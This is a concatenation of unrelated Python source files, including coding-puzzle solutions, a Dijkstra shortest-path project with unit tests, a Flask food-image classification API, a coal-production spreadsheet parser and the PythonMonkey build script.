            drawAnimation(t, False, interp_mode)
        elif part % 4 == 1:
            drawAnimation(1, False, interp_mode)
        elif part % 4 == 2:
            drawAnimation(t, True, interp_mode)
        else:
            drawAnimation(1, True, interp_mode)

    glutSwapBuffers()

# startup
glutInit(sys.argv)
glutInitDisplayMode(GLUT_RGBA | GLUT_DOUBLE)
glutInitWindowSize(SIZE, SIZE)
glutCreateWindow('CS3540')
glutDisplayFunc(display)
glutKeyboardFunc(keyboard)
glutTimerFunc(TIMER_TIME, timer, 0)
glutMainLoop()


import argparse
import ast
import json
import math
import cv2
from pathlib import Path
from shapely import Polygon

from utility import *

# Parse
parser = argparse.ArgumentParser(prog='evaluate-human-results', description='Evaluates all human results in the human-testing folder.')
parser.add_argument('-t','--testseries-path', type=str, default='', help='The path to the dataseries containing the labels to test against.')
parser.add_argument('-i','--images-folder', type=str, default='', help='The path to the image folder that was labeled from in the study.')
args = parser.parse_args()

# --- Load paths
dataseries_path = Path('traindata-creator/dataseries')
# Input human results
root_dir = Path(__file__).resolve().parent
results_dir = root_dir / 'human-testing/results'
result_paths = [Path(x) for x in get_files_from_folders_with_ending([results_dir], (".json"))]
# Load testseries
testseries_path = Path(args.testseries_path)
testseries_imgs = [cv2.imread(str(x)) for x in get_files_from_folders_with_ending([testseries_path], '_in.png')]
testseries_polys = [[Polygon(b) for b in ast.literal_eval(read_textfile(p))] for p in get_files_from_folders_with_ending([testseries_path], '_vertices.txt')]

for dict_path in result_paths:
    out_dir = create_dir_if_not_exists(results_dir / dict_path.stem)
    print(f'Bulding {out_dir}...')

    os.system(f'python traindata-creator/createCocoJsonDataseries.py -i {args.images_folder} -c {dict_path}')
    dict_dataseries_path = dataseries_path / f'coco-{dict_path.stem}'

    dict_dataseries_imgs = [cv2.imread(str(x)) for x in get_files_from_folders_with_ending([dict_dataseries_path], '_in.png')]
    dict_dataseries_polys = [[Polygon(b) for b in ast.literal_eval(read_textfile(p))] for p in get_files_from_folders_with_ending([dict_dataseries_path], '_vertices.txt')]

    for i in range(len(testseries_imgs)):
        img = dict_dataseries_imgs[i]
        polys = dict_dataseries_polys[i]
        img_h, img_w = img.shape[:2]

        test_img = testseries_imgs[i]
        test_polys = testseries_polys[i]
        test_img_h, test_img_w = test_img.shape[:2]

        bboxes = [x.bounds for x in polys]
        bboxes = [(x * test_img_w / img_w, # Rescale for test img
                   y * test_img_h / img_h,
                   mx * test_img_w / img_w,
                   my * test_img_h / img_h) for (x, y, mx, my) in bboxes]

        test_bboxes = [x.bounds for x in test_polys]

        cv2.imwrite(str(out_dir / f'{i}_input.png'), test_img)
        write_textfile('\n'.join([f'{x} {y} {mx} {my} 1' for (x, y, mx, my) in bboxes]), str(out_dir / f'{i}_network_output.txt'))
        write_textfile('\n'.join([f'{x} {y} {mx} {my}' for (x, y, mx, my) in test_bboxes]), str(out_dir / f'{i}_target_output.txt'))

    os.system(f'python evaluation/analyze.py -av {out_dir}')


# 给你一个长度为 n 的整数数组 rolls 和一个整数 k 。你扔一个 k 面的骰子 n 次，骰子的每个面分别是 1 到 k ，其中第 i 次扔得到的数字是 rolls[i] 。
#
# 请你返回 无法 从 rolls 中得到的 最短 骰子子序列的长度。
#
# 扔一个 k 面的骰子 len 次得到的是一个长度为 len 的 骰子子序列 。
#
# 注意 ，子序列只需要保持在原数组中的顺序，不需要连续。
#
class Solution:
    def shortestSequence(self, rolls: List[int], k: int) -> int:
        ans = 1
        mark = [0]*(k+1)
        rest = k
        for roll in rolls:
            if mark[roll]<ans:
                mark[roll] = ans
                rest -= 1
                if rest == 0:
                    ans += 1
                    rest = k
        return ans

数学/6131. 不可能得到的最短骰子序列.py

6131. 不可能得到的最短骰子序列.py


class ListNode(object):
    def __init__(self, val=0, next=None):
        self.val = val
        self.next = next
class Solution(object):
    def deleteDuplicates(self, head):
        """
        :type head: ListNode
        :rtype: ListNode
        """
        #维护三个指针pre,cur,nex
        #当cur.val != nex.val时，三个指针同时移动
        #当cur.val == nex.val时，只往前移动nex
        if not head or not head.next:
            return head
        dummy = ListNode(val=-101)
        dummy.next = head
        pre = dummy
        cur = head
        nex = head.next
        while nex:
            if cur.val != nex.val:
                pre = pre.next
                cur = cur.next
                nex = nex.next
            else:
                while nex and cur.val == nex.val:
                    nex = nex.next
                pre.next = nex
                cur = nex
                if nex:
                    nex = nex.next
        return dummy.next

82删除排序链表中的重复元素2.py


"""Projekt na zaliczenie Python Jakub Kękuś

    Temat projektu:
    Algorytm Dijkstry - znajdowanie najkrótszej ścieżki z pojedyńczego źródła w grafie nieskierowanym o nieujemnych wagach krawędzi

"""

from collections import defaultdict, deque
import unittest

class Graph(object):
    """ Reprezentacja Grafu ważonego """
    def __init__(self):    #przechowujemy wierzcholki, informacje o krawedziach
        self.edges = defaultdict(list)#i odleglosciach pomiedzy wierzcholkami
        self.distances = {}
        self.printingDistances = {}

    def add_edge(self, from_node, to_node, distance):
        if from_node == to_node:
            raise ValueError("Loop alert")
        if distance < 0:
            raise ValueError("Distance cannot be less than 0")
        self.edges[from_node].append(to_node)
        self.edges[to_node].append(from_node)
        self.distances[(from_node, to_node)] = distance
        self.printingDistances[(from_node, to_node)] = distance
        self.distances[(to_node, from_node)] = distance

    def get_nodes(self):
        return self.edges.keys()

    def get_edges(self):
        return self.edges

    def get_distance(self, from_node, to_node):
        return self.distances[(from_node, to_node)]

    def print_graph(self):
        print("Odległości między wierzchołkami:")
        for edge in self.printingDistances:
            print(edge,":",self.printingDistances[edge])

def dijkstra(graph, initial):
    """Funkcja dijsktry wyszukuje wszystkie najkrotsze sciezki do pozostalych wierzcholkow, wierzcholka,
    który wstawiamy jako initial """
    visited = {initial: 0}
    path = {}

    nodes = set(graph.edges.keys())

    while nodes:
        min_node = None
        for node in nodes:
            if node in visited:
                if min_node is None:
                    min_node = node
                elif visited[node] < visited[min_node]:
                    min_node = node
        if min_node is None:
            break

        nodes.remove(min_node)
        current_weight = visited[min_node]

        for edge in graph.edges[min_node]:
            try:
                weight = current_weight + graph.distances[(min_node, edge)]
            except:
                continue
            if edge not in visited or weight < visited[edge]:
                visited[edge] = weight
                path[edge] = min_node

    return visited, path

def shortest_path(graph, origin, destination):
    """funkcja do wyszukiwania najkrotszej sciezki do konkretnego wierzchołka(destination),
    od od podanego w programie jako origin, przy uzyciu funkcji dijkstra """
    if origin == destination:
        raise ValueError("The same destination as origin")
    visited, paths = dijkstra(graph, origin)
    full_path = deque()
    _destination = paths[destination]

    while _destination != origin:
        full_path.appendleft(_destination)
        _destination = paths[_destination]

    full_path.appendleft(origin)
    full_path.append(destination)

    return visited[destination], list(full_path)

class TestGraph(unittest.TestCase):
    """testy sprawdzające, czy zarówno graf jak i funkcja wyszukująca najkrótszą ścieżkę działa poprawnie"""
    def test_add_edges(self):
        # given
        graph = Graph()

        # when
        graph.add_edge('A', 'B', 20)
        graph.add_edge('A', 'C', 10)
        graph.add_edge('B', 'D', 15)
        graph.add_edge('C', 'D', 10)
        graph.add_edge('B', 'E', 50)
        graph.add_edge('D', 'E', 30)
        graph.add_edge('E', 'F', 5)
        graph.add_edge('F', 'G', 2)

        # then
        self.assertEqual('A' in graph.edges.keys(), True)
        self.assertEqual('B' in graph.edges.keys(), True)
        self.assertEqual('C' in graph.edges.keys(), True)
        self.assertEqual('D' in graph.edges.keys(), True)

        self.assertEqual(graph.edges['A'], ['B', 'C'])
        self.assertEqual(graph.edges['B'], ['A', 'D', 'E'])
        self.assertEqual(graph.edges['C'], ['A', 'D'])
        self.assertEqual(graph.edges['D'], ['B', 'C', 'E'])
        self.assertEqual(graph.edges['E'], ['B', 'D', 'F'])
        self.assertEqual(graph.edges['F'], ['E', 'G'])
        self.assertEqual(graph.edges['G'], ['F'])

        self.assertEqual(graph.distances[('A', 'B')], 20)
        self.assertEqual(graph.distances[('A', 'C')], 10)
        self.assertEqual(graph.distances[('B', 'D')], 15)
        self.assertEqual(graph.distances[('C', 'D')], 10)
        self.assertEqual(graph.distances[('B', 'E')], 50)
        self.assertEqual(graph.distances[('D', 'E')], 30)
        self.assertEqual(graph.distances[('E', 'F')], 5)
        self.assertEqual(graph.distances[('F', 'G')], 2)
        self.assertEqual(graph.distances[('B', 'A')], 20)
        self.assertEqual(graph.distances[('C', 'A')], 10)
        self.assertEqual(graph.distances[('D', 'B')], 15)
        self.assertEqual(graph.distances[('D', 'C')], 10)
        self.assertEqual(graph.distances[('E', 'B')], 50)
        self.assertEqual(graph.distances[('E', 'D')], 30)
        self.assertEqual(graph.distances[('F', 'E')], 5)
        self.assertEqual(graph.distances[('G', 'F')], 2)

    def test_shortest_path(self):
        # given
        graph = Graph()

        # when
        graph.add_edge('A', 'B', 20)
        graph.add_edge('A', 'C', 10)
        graph.add_edge('B', 'D', 15)
        graph.add_edge('C', 'D', 10)
        graph.add_edge('B', 'E', 50)
        graph.add_edge('D', 'E', 30)
        graph.add_edge('E', 'F', 5)
        graph.add_edge('F', 'G', 2)

        #then
        self.assertEqual(shortest_path(graph, 'A', 'D'), (20, ['A', 'C', 'D']))
        self.assertEqual(shortest_path(graph, 'D', 'A'), (20, ['D', 'C', 'A']))
        self.assertEqual(shortest_path(graph, 'A', 'G'), (57, ['A', 'C', 'D', 'E', 'F', 'G']))
        self.assertEqual(shortest_path(graph, 'G', 'A'), (57, ['G', 'F', 'E', 'D', 'C', 'A']))
        self.assertEqual(shortest_path(graph, 'C', 'G'), (47, ['C', 'D', 'E', 'F', 'G']))
        self.assertEqual(shortest_path(graph, 'G', 'C'), (47, ['G', 'F', 'E', 'D', 'C']))
        self.assertEqual(shortest_path(graph, 'E', 'B'), (45, ['E', 'D', 'B']))
        self.assertEqual(shortest_path(graph, 'B', 'E'), (45, ['B', 'D', 'E']))

if __name__ == '__main__':
    graph = Graph()

    graph.add_edge('A', 'B', 20)
    graph.add_edge('A', 'C', 10)
    graph.add_edge('B', 'D', 15)
    graph.add_edge('C', 'D', 10)
    graph.add_edge('B', 'E', 50)
    graph.add_edge('D', 'E', 30)
    graph.add_edge('E', 'F', 5)
    graph.add_edge('F', 'G', 2)

    graph.print_graph()

    print(shortest_path(graph, 'A', 'F'))
    print(shortest_path(graph, 'A', 'E'))
    print(shortest_path(graph, 'A', 'C'))
    print(shortest_path(graph, 'C', 'G'))
    print(shortest_path(graph, 'G', 'F'))
    print(shortest_path(graph, 'F', 'A'))
    print(shortest_path(graph, 'B', 'C'))
    unittest.main()


"""
Advent of Code 2022 - Day 23
https://adventofcode.com/2022/day/23

Unstable Diffusion
"""
from os.path import join as path_join
from functools import cached_property
from timeit import timeit
from config import INPUT_DIR

INPUT_FILE = path_join(INPUT_DIR, 'day-23.txt')

TEST_INPUT = """\
....#..
..###.#
#...#.#
.#...##
#.###..
##.#.##
.#..#.."""

class Grove:
    def __init__(self, scan_lines):
        self.scan_lines = scan_lines
        self.tiles = self.add_tiles(scan_lines)
        self.elves = self.add_elves(self.tiles)
        self.cached_elf_pts = None

    def add_tiles(self, scan_lines):
        tiles = {}
        for y, line in enumerate(scan_lines):
            for x, tile in enumerate(line):
                pt = (x, y)
                tiles[pt] = tile
        return tiles

    def add_elves(self, tiles):
        elves = []
        n = 0

        for pt, tile in tiles.items():
            if tile == '#':
                n += 1
                x, y = pt
                elf = Elf(n, x, y)
                elves.append(elf)

        return elves

    @property
    def min_x(self):
        return min(elf.x for elf in self.elves)

    @property
    def max_x(self):
        return max(elf.x for elf in self.elves)

    @property
    def min_y(self):
        return min(elf.y for elf in self.elves)

    @property
    def max_y(self):
        return max(elf.y for elf in self.elves)

    @property
    def pts(self):
        pts = set()
        for x in range(self.min_x, self.max_x+1):
            for y in range(self.min_y, self.max_y+1):
                pt = (x, y)
                pts.add(pt)
        return pts

    @property
    def elf_pts(self):
        if self.cached_elf_pts:
            return self.cached_elf_pts

        pts = set()
        for elf in self.elves:
            pts.add(elf.pt)
        return pts

    def cache_elf_pts(self):
        self.cached_elf_pts = self.elf_pts

    def uncache_elf_pts(self):
        self.cached_elf_pts = None

    @property
    def empty_pts(self):
        return self.pts - self.elf_pts

    def plant_seedlings(self, num_rounds):
        for n in range(num_rounds):
            secs = timeit(lambda: self.run_round(), number=1)
            print(f"Round {n+1}: {secs} s")

        return len(self.empty_pts)

    def run_round(self):
        self.cache_elf_pts()
        self.elves_propose_moves()
        moves = self.elves_move()
        self.elves_rotate_proposed_directions()
        self.uncache_elf_pts()
        return moves

    def elves_propose_moves(self):
        for elf in self.elves:
            elf.proposes_move(self)
        return self

    def elves_move(self):
        moving_elves = 0

        # Count proposed moves
        move_count = {}
        for elf in self.elves:
            move = elf.proposed_move
            if not move:
                continue
            if move in move_count:
                move_count[move] += 1
            else:
                move_count[move] = 1

        for elf in self.elves:
            if elf.proposed_move and move_count[elf.proposed_move] < 2:
                elf.moves()
                moving_elves += 1

        return moving_elves

    def elves_rotate_proposed_directions(self):
        for elf in self.elves:
            elf.rotate_proposed_directions()
        return self

    def pts_are_empty(self, pts):
        occupied_pts = self.elf_pts.intersection(set(pts))
        return len(occupied_pts) == 0

    def print_map(self):
        lines = []
        for y in range(self.min_y, self.max_y+1):
            tiles = []
            for x in range(self.min_x, self.max_x+1):
                tile = '.'
                for elf in self.elves:
                    if elf.pt == (x, y):
                        tile = '#'
                tiles.append(tile)
                line = ''.join(tiles)
            lines.append(line)
        map = '\n'.join(lines)
        print(map)
        return map

class Elf:
    def __init__(self, id, x, y):
        self.id = id
        self.x = x
        self.y = y
        self.proposed_move = None
        self.proposed_directions = list('NSWE')

    @property
    def pt(self):
        return (self.x, self.y)

    @cached_property
    def direction_delta(self):
        return {
            'N': (0, -1),
            'NE': (1, -1),
            'E': (1, 0),
            'SE': (1, 1),
            'S': (0, 1),
            'SW': (-1, 1),
            'W': (-1, 0),
            'NW': (-1, -1)
        }

    @property
    def adjacent_pts(self):
        pts = set()
        for dir in self.direction_delta.keys():
            pt = self.get_adjacent_pt(dir)
            pts.add(pt)
        return pts

    def proposes_move(self, grove):
        # During the first half of each round, each Elf considers the eight positions
        # adjacent to themself. If no other Elves are in one of those eight positions,
        # the Elf does not do anything during this round.
        if not self.elves_are_adjacent(grove):
            self.proposed_move = None
            return None

        # Otherwise, the Elf looks  in each of four directions in the following order
        # and proposes moving one step in the first valid direction:
        for proposed_dir in self.proposed_directions:
            if self.proposed_direction_is_valid(proposed_dir, grove):
                self.proposed_move = self.get_adjacent_pt(proposed_dir)
                return proposed_dir

        self.proposed_move = None
        return None

    def proposed_direction_is_valid(self, dir, grove):
        # If no Elf in the N, NE, or NW adjacent positions, the Elf proposes moving north one step.
        # If no Elf in the S, SE, or SW adjacent positions, the Elf proposes moving south one step.
        # If no Elf in the W, NW, or SW adjacent positions, the Elf proposes moving west one step.
        # If no Elf in the E, NE, or SE adjacent positions, the Elf proposes moving east one step.
        mapped_points = {
            'N': ['N', 'NE', 'NW'],
            'S': ['S', 'SE', 'SW'],
            'W': ['W', 'NW', 'SW'],
            'E': ['E', 'NE', 'SE']
        }
        adjacent_dirs = mapped_points[dir]
        pts = self.get_adjacent_pts(adjacent_dirs)
        return grove.pts_are_empty(pts)

    def elves_are_adjacent(self, grove):
        for adjacent_pt in self.adjacent_pts:
            if adjacent_pt in grove.elf_pts:
                return True
        return False

    def moves(self):
        if not self.proposed_move:
            return self.pt

        x, y = self.proposed_move
        self.x = x
        self.y = y
        self.proposed_move = None
        return self.pt

    def rotate_proposed_directions(self):
        dir = self.proposed_directions.pop(0)
        self.proposed_directions.append(dir)
        return (dir, self.proposed_directions[0])

    def get_adjacent_pts(self, dirs):
        pts = []
        for dir in dirs:
            pt = self.get_adjacent_pt(dir)
            pts.append(pt)
        return pts

    def get_adjacent_pt(self, dir):
        dx, dy = self.direction_delta[dir]
        return (self.x + dx, self.y + dy)

class Solution:
    def __init__(self, input_file):
        self.input_file = input_file

    #
    # Solutions
    #
    @property
    def test1(self):
        # Arrange
        input = self.test_input_lines
        rounds = 10
        grove = Grove(input)

        # Assume
        assert len(grove.elves) == 22, len(grove.elves)
        assert len(grove.pts) == 49, len(grove.pts)
        assert len(grove.empty_pts) == 27, len(grove.empty_pts)

        # Act
        empty_pts = grove.plant_seedlings(rounds)

        # Assert
        assert empty_pts == 110, empty_pts
        assert self.test_performance()
        return empty_pts

    def test_performance(self):
        input = self.input_lines
        grove = Grove(input)
        max_time = 1

        for n in range(10):
            rt = timeit(lambda: grove.run_round(), number=1)
            print(f"run_round run time: {rt} s")
            if rt > max_time:
                return False

        return True

    @property
    def first(self):
        input = self.input_lines
        rounds = 10

        grove = Grove(input)
        empty_pts = grove.plant_seedlings(rounds)

        assert empty_pts == 3800, empty_pts
        return empty_pts

    @property
    def test2(self):
        # Arrange
        input = self.test_input_lines
        rounds = 0
        moves = 1
        grove = Grove(input)

        # Act
        while moves > 0:
            rounds += 1
            moves = grove.run_round()
            print(f"Round {rounds}: {moves} moves")

        # Assert
        assert rounds == 20, rounds
        return rounds

    @property
    def second(self):
        # Arrange
        input = self.input_lines
        rounds = 0
        moves = 1
        grove = Grove(input)

        # Act
        while moves > 0:
            rounds += 1
            moves = grove.run_round()
            print(f"Round {rounds}: {moves} moves") if rounds % 100 == 0 else None

        # Assert
        assert rounds == 916, rounds
        return rounds

    #
    # Properties
    #
    @cached_property
    def file_input(self):
        with open(self.input_file) as file:
            return file.read().strip()

    @cached_property
    def input_lines(self):
        return [line.strip() for line in self.file_input.split("\n")]

    @cached_property
    def test_input_lines(self):
        return [line.strip() for line in TEST_INPUT.split("\n")]

#
# Main
#
solution = Solution(INPUT_FILE)
print(f"test 1 solution: {solution.test1}")
print(f"pt 1 solution: {solution.first}")
print(f"test 2 solution: {solution.test2}")
print(f"pt 2 solution: {solution.second}")


#!flask/bin/python

import base64
from prediccion import prediccion
import cv2

from flask import Flask
app = Flask(__name__)
from flask import Flask
from flask import request
app = Flask(__name__)
import json

@app.route('/postjson', methods=['POST'])
def post():
    print(request.is_json)
    content = request.get_json()
    #print(content)
    print(content['id'])
    print(content['name'])
    return 'JSON posted'

@app.route('/postimg', methods=['POST'])
def postImg():
    print(request.is_json)
    content = request.get_json()
    fh = open("test.jpg", "wb")
    fh.write(base64.b64decode(content['image']))
    fh.close()
    return 'JSON posted'
@app.route('/postquees', methods=['POST'])
def postQueEs():
    print(request.is_json)
    content = request.get_json()
    fh = open("test"+content['idImage']+".jpg", "wb")
    fh.write(base64.b64decode(content['image']))
    fh.close()
    categorias=["Huevos","Arepas","Mantequilla","Chocolate","Pan","Cereales","Cafe","Leche","Tocino","Changua","Tamal","Papas","Calentado","Yuca frita","Jugo naranaja","Yogurth","Pollo"]
    reconocimiento=prediccion()
    imagenPrueba=cv2.imread("test"+content['idImage']+".jpg",0)
    indiceCategoria,prediciones=reconocimiento.predecir(imagenPrueba)
    response = {
        'idImagen':content['idImage'],
        'prediccion': categorias[indiceCategoria],
        'probabilidades': str(prediciones[0])
    }
    python2json = json.dumps(response)
    return python2json
@app.route('/postcualplato', methods=['POST'])
def postCualPlato():
    print(request.is_json)
    content = request.get_json()
    fh = open("test"+content['idPrueba']+".jpg", "wb")
    fh.write(base64.b64decode(content['image']))
    fh.close()
    categorias=["Huevos","Arepas","Mantequilla","Chocolate","Pan","Cereales","Cafe","Leche","Tocino","Changua","Tamal","Papas","Calentado","Yuca frita","Jugo naranaja","Yogurth","Pollo"]
    reconocimiento=prediccion()
    imagenPrueba=cv2.imread("test"+content['idPrueba']+".jpg",0)
    indiceCategoria,prediciones=reconocimiento.predecir(imagenPrueba)
    categorias=["Paisa","Paisa Cafetero","Rolo","Americano","Americano Light"]
    platoMayorValor, probabilidades=reconocimiento.cualPlato(prediciones[0])
    response = {
        'idPrueba':content['idPrueba'],
        'prediccion': categorias[platoMayorValor],
        'probabilidades': str(probabilidades)
    }
    python2json = json.dumps(response)
    return python2json
app.run(host='127.0.0.1', port=5000)


import xlrd
import os
import re
import csv
import re
from datetime import datetime
import xlsxwriter
import sys

MONTH_DICTIONARY = {"січень":"01", "лютий":"02", "березень":"03", "квітень":"04", "травень":"05", "червень":"06", "липень":"07", "серпень":"08", "вересень":"09", "жовтень":"10", "листопад":"11", "грудень":"12"}
COMPANY_CODES =  {'ДП"ДержВуглеПостач"':"40225511", 'ДП "Волиньвугілля"':"32365965", 'ДП "Мирноградвугілля"':"32087941",
                    'ДП "Первомайськвугілля"':"32320594", 'ДП "Селидіввугілля"': "33426253", 'ПАТ "Лисичанськвугілля"':"32359108",
                    'ДП "Львіввугілля"': "32323256", 'ДП "Торецьквугілля"':"33839013", 'ДП "Добропiллявугiлля':"37014600",
                    'ТОВ "ДТЕК Добропiллявугiлля"':"37014600", 'ТОВ "ДТЕК СА"': "37596090", 'ДП "Львiввугiлля"':"32323256",
                    'ДП "Красноармійськвугілля"': "32087941", 'ДП "Шахта ім. М.С.Сургая"':"40695853", 'ДП "Ш/у "Південнодонбаське №1"':"34032208",
                    'ДП "ВК "Краснолиманська"': "31599557", 'ПАТ "ш.Надія"': "00178175"}
YEAR_RE = re.compile("\d{4}")
NOT_SPACE = re.compile("\S+")
FIELD_NAMES_FILE = "production_field_names.csv"
FOLDER_NAME = "production_input"
OUT_FILENAME = "coal_production_"
HEADERS = ['month', "company", "company_code", "output", "value", "ton_cost"]

def load_workbook(wb):
    global sheet, ncol, dp, date_
    sheet = wb.sheet_by_index(0)
    ncol = sheet.ncols
    nrows = sheet.nrows
    content_began = False
    for i in range(nrows):
        cell = sheet.cell(i,0)
        if content_began:
            if not is_blank(cell):
                    dump_row(i)
            else:
                break
        else:
            if date_ == "":
                date_text = date_in_cell(cell)
                if date_text:
                    date_ = date_text
            if cell.value == "у т.ч.":
                content_began = True

def date_in_cell(cell):
    month_in_string = [MONTH_DICTIONARY[k] for k in MONTH_DICTIONARY.keys() if k in str(cell.value)]
    if len(month_in_string) > 0:
        year_matched = YEAR_RE.search(cell.value)
        if year_matched:
            year = year_matched.group(0)
            date_string = month_in_string[0] + "." + year
            return date_string

def is_blank(cell):
    return NOT_SPACE.search(str(cell.value)) == None

def dump_row(row_number):
    global sheet_dict, date_
    for k in fields_dictionary.keys():
        new_value = sheet.cell(row_number, int(k) - 1).value
        if isinstance(new_value, str):
            sheet_dict[fields_dictionary[k]].append(new_value.strip())
        else:
            sheet_dict[fields_dictionary[k]].append(new_value)
    sheet_dict['month'].append(date_)

def dict_to_list(dict_, headers):
    l = []
    for i in range(len(dict_[headers[0]])):
        new_l = []
        for h in headers:
            new_l.append(dict_[h][i])
        l.append(new_l)
    return l

if not os.path.exists("coal_production.log"):
    f = open("coal_production.log", "w")
    f.close()
f = open("coal_production.log", "a")
sys.stdout = f
sys.stderr = f

print("----------------")
print(datetime.now())

with open(FIELD_NAMES_FILE, 'r') as vf:
    var_reader = csv.reader(vf)
    fields_dictionary = {}
    for l in var_reader:
        fields_dictionary[l[0]] = l[2]
sheet_dict = {}
for k in fields_dictionary.keys():
    sheet_dict[fields_dictionary[k]] = []
sheet_dict['month'] = []

files = os.listdir(FOLDER_NAME)
files = [f for f in files if f.endswith(".xls") or f.endswith(".xlsx")]
for f in files:
    date_ = ""
    print(f)
    wb = xlrd.open_workbook(os.path.join(FOLDER_NAME, f))
    load_workbook(wb)

codes = [COMPANY_CODES[c] for c in sheet_dict['company']]
sheet_dict['company_code'] = codes
sheet_dict['month'] = [datetime.strptime(m, '%m.%Y') for m in sheet_dict['month']]

coal_list = dict_to_list(sheet_dict, HEADERS)
coal_list = sorted(coal_list, key=lambda x: x[0],reverse=True)
month_to_filename = datetime.strftime(coal_list[0][0], '%Y_%m')

with open(os.path.join("output", OUT_FILENAME) + month_to_filename + ".csv", "w", newline='') as cfile:
    csvwriter = csv.writer(cfile)
    csvwriter.writerow(HEADERS)
    for i in range(len(coal_list)):
        l = coal_list[i][:]
        l[0] = datetime.strftime(l[0],"%m.%Y")
        csvwriter.writerow(l)

out_wb = xlsxwriter.Workbook(os.path.join("output", OUT_FILENAME) + month_to_filename + ".xlsx")
worksheet = out_wb.add_worksheet()
datef = out_wb.add_format({'num_format':"mm.yyyy"})
numf = out_wb.add_format({'num_format':"0.00"})
headerf = out_wb.add_format({'bold':True})
for i in range(len(HEADERS)):
    worksheet.write(0, i, HEADERS[i], headerf)
for i in range(len(coal_list)):
    for j in range(len(HEADERS)):
        if j == 0:
            worksheet.write(i+1, j, coal_list[i][j], datef)
        elif j >  2:
            worksheet.write(i+1, j, coal_list[i][j], numf)
        else:
            worksheet.write(i+1, j, coal_list[i][j])
out_wb.close()

print("No errors were caught")
print("-----------------")


# @file        build.py
#              Main PythonMonkey build automation script. Run with `poetry build`.
# @author      Hamada Gasmallah, hamada@distributive.network
# @date        April 2023
#
import subprocess
import os, sys
import platform
from typing import Optional

TOP_DIR = os.path.abspath(os.path.dirname(__file__))
BUILD_DIR = os.path.join(TOP_DIR, "build")

# Get number of CPU cores
CPUS = os.cpu_count() or 1

def execute(cmd: str, cwd: Optional[str] = None):
    popen = subprocess.Popen(cmd, stdout = subprocess.PIPE, stderr = subprocess.STDOUT,
        shell = True, text = True, cwd = cwd )
    for stdout_line in iter(popen.stdout.readline, ""):
        sys.stdout.write(stdout_line)
        sys.stdout.flush()

    popen.stdout.close()
    return_code = popen.wait()
    if return_code:
        raise subprocess.CalledProcessError(return_code, cmd)

def ensure_spidermonkey():
    # Check if SpiderMonkey libs already exist
    spidermonkey_lib_exist = os.path.exists(os.path.join( TOP_DIR, "_spidermonkey_install/lib" ))
    if spidermonkey_lib_exist:
        return

    # Build SpiderMonkey
    execute("bash ./setup.sh", cwd = TOP_DIR)

def run_cmake_build():
    os.makedirs(BUILD_DIR, exist_ok=True) # mkdir -p
    if platform.system() == "Windows":
        execute("cmake .. -T ClangCL", cwd=BUILD_DIR) # use Clang/LLVM toolset for Visual Studio
    else:
        execute("cmake ..", cwd=BUILD_DIR)
    execute(f"cmake --build . -j{CPUS} --config Release", cwd=BUILD_DIR)

def copy_artifacts():
    if platform.system() == "Windows":
        execute("cp ./build/src/*/pythonmonkey.pyd ./python/pythonmonkey/", cwd=TOP_DIR) # Release or Debug build
        execute("cp ./_spidermonkey_install/lib/mozjs-*.dll ./python/pythonmonkey/", cwd=TOP_DIR)
    else:
        execute("cp ./build/src/pythonmonkey.so ./python/pythonmonkey/", cwd=TOP_DIR)
        execute("cp ./_spidermonkey_install/lib/libmozjs* ./python/pythonmonkey/", cwd=TOP_DIR)

def build():
    ensure_spidermonkey()
    run_cmake_build()
    copy_artifacts()

if __name__ == "__main__":
    build()


import random
import argparse
import h5py
import json
import torch.nn.init as init
import pickle
from sys_utils import *
from vsum_tools import  *
from vasnet_model import  *
import glob

def parse_splits_filename(splits_filename):
    # Parse split file and count number of k_folds
    spath, sfname = os.path.split(splits_filename)
    sfname, _ = os.path.splitext(sfname)
    dataset_name = sfname.split('_')[0]  # Get dataset name e.g. tvsum
    dataset_type = sfname.split('_')[1]  # augmentation type e.g. aug

    # The keyword 'splits' is used as the filename fields terminator from historical reasons.
    if dataset_type == 'splits':
        # Split type is not present
        dataset_type = ''

    # Get number of discrete splits within each split json file
    with open(splits_filename, 'r') as sf:
        splits = json.load(sf)

    return dataset_name, dataset_type, splits

class AONet:

    def __init__(self, hps: HParameters):
        self.hps = hps
        self.model = None
        self.log_file = None
        self.verbose = hps.verbose

    def fix_keys(self, keys, dataset_name = None):
        """
        :param keys:
        :return:
        """
        # dataset_name = None
        if len(self.datasets) == 1:
            dataset_name = next(iter(self.datasets))

        keys_out = []
        for key in keys:
            t = key.split('/')
            if len(t) != 2:
                assert dataset_name is not None, "ERROR dataset name in some keys is missing but there are multiple dataset {} to choose from".format(len(self.datasets))

                key_name = dataset_name+'/'+key
                keys_out.append(key_name)
            else:
                keys_out.append(key)

        return keys_out

    def load_datasets(self, datasets = None):
        """
        Loads all h5 datasets from the datasets list into a dictionary self.dataset
        referenced by their base filename
        :param datasets:  List of dataset filenames
        :return:
        """
        if datasets is None:
            datasets = self.hps.datasets

        datasets_dict = {}

        for dataset in datasets:
            _, base_filename = os.path.split(dataset)
            base_filename, _ = os.path.splitext(base_filename)
            print("Loading:", dataset)
            # dataset_name = base_filename.split('_')[2]
            # print("\tDataset name:", dataset_name)
            datasets_dict[base_filename] = h5py.File(dataset, 'r')

        self.datasets = datasets_dict
        return datasets_dict

    def load_split_file(self, splits_file):

        self.dataset_name, self.dataset_type, self.splits = parse_splits_filename(splits_file)
        n_folds = len(self.splits)
        self.split_file = splits_file
        print("Loading splits from: ",splits_file)

        return n_folds

    def select_split(self, split_id):
        print("Selecting split: ",split_id)

        self.split_id = split_id
        n_folds = len(self.splits)
        assert self.split_id < n_folds, "split_id (got {}) exceeds {}".format(self.split_id, n_folds)

        split = self.splits[self.split_id]
        self.train_keys = split['train_keys']
        self.test_keys = split['test_keys']

        dataset_filename = self.hps.get_dataset_by_name(self.dataset_name)[0]
        _,dataset_filename = os.path.split(dataset_filename)
        dataset_filename,_ = os.path.splitext(dataset_filename)
        self.train_keys = self.fix_keys(self.train_keys, dataset_filename)
        self.test_keys = self.fix_keys(self.test_keys, dataset_filename)
        return

    def load_model(self, model_filename):
        self.model.load_state_dict(torch.load(model_filename, map_location=lambda storage, loc: storage))
        return

    def initialize(self, cuda_device=None):
        rnd_seed = 12345
        random.seed(rnd_seed)
        np.random.seed(rnd_seed)
        torch.manual_seed(rnd_seed)

        self.model = VASNet()
        self.model.eval()
        #self.model.apply(weights_init)
        #print(self.model)

        cuda_device = cuda_device or self.hps.cuda_device

        if self.hps.use_cuda:
            print("Setting CUDA device: ",cuda_device)
            torch.cuda.set_device(cuda_device)
            torch.cuda.manual_seed(rnd_seed)

        if self.hps.use_cuda:
            self.model.cuda()

        return

    def get_data(self, key):
        key_parts = key.split('/')
